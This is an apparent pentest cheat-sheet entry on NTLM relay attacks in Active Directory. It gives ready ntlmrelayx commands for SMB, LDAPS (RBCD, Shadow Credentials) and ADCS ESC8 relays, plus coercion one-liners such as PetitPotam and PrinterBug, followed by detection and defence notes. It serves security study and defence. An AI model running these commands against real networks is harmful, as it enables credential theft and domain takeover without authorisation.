NTLM Relay

NTLM relay does not crack the captured hash: it relays it in real time to a third service to authenticate there as the victim. It turns an intercepted NTLM authentication (from LLMNR poisoning or from coercion) into direct access, without touching any password.

Why it works. The NTLM challenge-response proves the client knows the key, but it is not bound to the server it negotiates with: an attacker in the middle can forward each handshake message to another service and complete authentication there as if they were the victim. The only safeguard is signing (SMB signing, channel binding): if the target service does not enforce it, the relay succeeds.

The abuse. With ntlmrelayx you set the target. The three classics: relay SMB to a host where the account is a local admin (run commands or dump the SAM), relay to the DC's LDAP(S) to grant yourself an RBCD or Shadow Credentials, and relay to the ADCS web endpoint (ESC8) to request a certificate in the victim's name.

First you need to know which hosts don't sign (candidate targets), then pick the relay by objective:

netexec smb <subnet> --gen-relay-list targets.txt   # list of hosts with SMB signing disabled
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'whoami'          # SMB relay + run a command
impacket-ntlmrelayx -tf targets.txt -smb2support                     # no -c: dumps the SAM by default
impacket-ntlmrelayx -tf targets.txt -smb2support -socks              # -socks: interactive session via proxychains
impacket-ntlmrelayx -t ldaps://<dc> --delegate-access -smb2support   # LDAPS: grant yourself RBCD
impacket-ntlmrelayx -t ldaps://<dc> --shadow-credentials --shadow-target <victim>   # Shadow Credentials
impacket-ntlmrelayx -t http://<ca>/certsrv/certfnsh.asp --adcs --template DomainController -smb2support   # ADCS ESC8

With the relay listening, you force the victim's authentication (far more reliable than waiting for a resolution failure). One coercion per line:

petitpotam.py <lhost> <target>             # MS-EFSR (EfsRpcOpenFileRaw)
printerbug.py <domain>/<user>:<pass>@<target> <lhost>   # MS-RPRN (spooler)
coercer coerce -u <user> -p <pass> -t <target> -l <lhost>   # tries many RPCs at once
dfscoerce.py -u <user> -p <pass> <lhost> <target>       # MS-DFSNM

Requirements. The target service must not enforce signing (SMB signing off, or LDAP without channel binding), and you need an authentication to relay: it comes from name poisoning or, better, from forcing it with coercion (PetitPotam, PrinterBug, Coercer). You cannot relay back to the originating machine.

How to detect it. The signature is a logon (4624) whose source IP does not match the machine claiming to authenticate: the victim "appears" to log on from the attacker's box. It helps to watch machine-account ($) authentications toward the DC or CA right after a coercion, and changes to sensitive attributes (msDS-AllowedToActOnBehalfOfOtherIdentity, msDS-KeyCredentialLink) with no administrative process behind them.

Defence. Enforce signing for SMB and LDAP and enable EPA/channel binding on LDAPS and on the ADCS web endpoint (the latter kills ESC8); disable NTLM where possible; and cut coercion by patching and filtering the PetitPotam/PrinterBug RPCs. It is born from LLMNR poisoning and usually ends in Pass-the-Hash, RBCD or Shadow Credentials.